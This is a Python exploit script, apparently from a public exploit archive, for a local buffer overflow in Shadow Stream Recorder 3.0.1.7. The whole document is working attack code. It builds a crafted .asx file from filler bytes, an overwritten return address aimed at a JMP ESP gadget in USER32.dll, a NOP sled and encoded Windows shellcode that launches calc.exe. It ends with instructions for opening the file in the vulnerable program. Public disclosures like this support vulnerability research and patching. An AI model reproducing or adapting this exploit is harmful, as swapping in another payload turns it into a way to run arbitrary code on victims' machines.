Shadow Stream Recorder 3.0.1.7 Buffer Overflow

`  
  
#!/usr/bin/python  
#  
# Title: Shadow Stream Recorder 3.0.1.7 (.asx) Local Buffer Overflow  
# Date: 03-29-2010  
# Author: b0telh0  
# Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe  
# Tested on: Windows XP SP3  
  
  
#  
# windows/exec - 228 bytes  
# EXITFUNC=seh, CMD=calc.exe  
#  
  
shellcode = ("\xda\xd6\xbe\xc4\x14\x6b\x17\x31\xc9\xd9\x74\x24\xf4\x58\xb1"  
"\x33\x83\xe8\xfc\x31\x70\x14\x03\x70\xd0\xf6\x9e\xeb\x30\x7f"  
"\x60\x14\xc0\xe0\xe8\xf1\xf1\x32\x8e\x72\xa3\x82\xc4\xd7\x4f"  
"\x68\x88\xc3\xc4\x1c\x05\xe3\x6d\xaa\x73\xca\x6e\x1a\xbc\x80"  
"\xac\x3c\x40\xdb\xe0\x9e\x79\x14\xf5\xdf\xbe\x49\xf5\xb2\x17"  
"\x05\xa7\x22\x13\x5b\x7b\x42\xf3\xd7\xc3\x3c\x76\x27\xb7\xf6"  
"\x79\x78\x67\x8c\x32\x60\x0c\xca\xe2\x91\xc1\x08\xde\xd8\x6e"  
"\xfa\x94\xda\xa6\x32\x54\xed\x86\x99\x6b\xc1\x0b\xe3\xac\xe6"  
"\xf3\x96\xc6\x14\x8e\xa0\x1c\x66\x54\x24\x81\xc0\x1f\x9e\x61"  
"\xf0\xcc\x79\xe1\xfe\xb9\x0e\xad\xe2\x3c\xc2\xc5\x1f\xb5\xe5"  
"\x09\x96\x8d\xc1\x8d\xf2\x56\x6b\x97\x5e\x39\x94\xc7\x07\xe6"  
"\x30\x83\xaa\xf3\x43\xce\xa0\x02\xc1\x74\x8d\x04\xd9\x76\xbe"  
"\x6c\xe8\xfd\x51\xeb\xf5\xd7\x15\x0d\x07\xea\x83\x99\xbe\x9f"  
"\xe9\xc4\x40\x4a\x2d\xf0\xc2\x7f\xce\x07\xda\xf5\xcb\x4c\x5c"  
"\xe5\xa1\xdd\x09\x09\x15\xde\x1b\x6a\xf8\x4c\xc7\x43\x9f\xf4"  
"\x62\x9c\x55");  
  
junk = "\x41" * 26112  
eip = "\x53\x93\x37\x7E" # 7E379353 USER32.dll (JMP ESP)  
nops = "\x90" * 20  
junk2 = "\x41" * 3636  
  
try:  
file = open('b0t.asx','w');  
file.write(junk+eip+nops+shellcode+junk2);  
file.close();  
print "\n[+] b0t.asx created."  
print "[+] Open ssrecorder.exe..."  
print "[+] and drag and drop b0t.asx.\n"  
except:  
print "\n[-] Error.. Can't write file to system.\n"  
  
  
`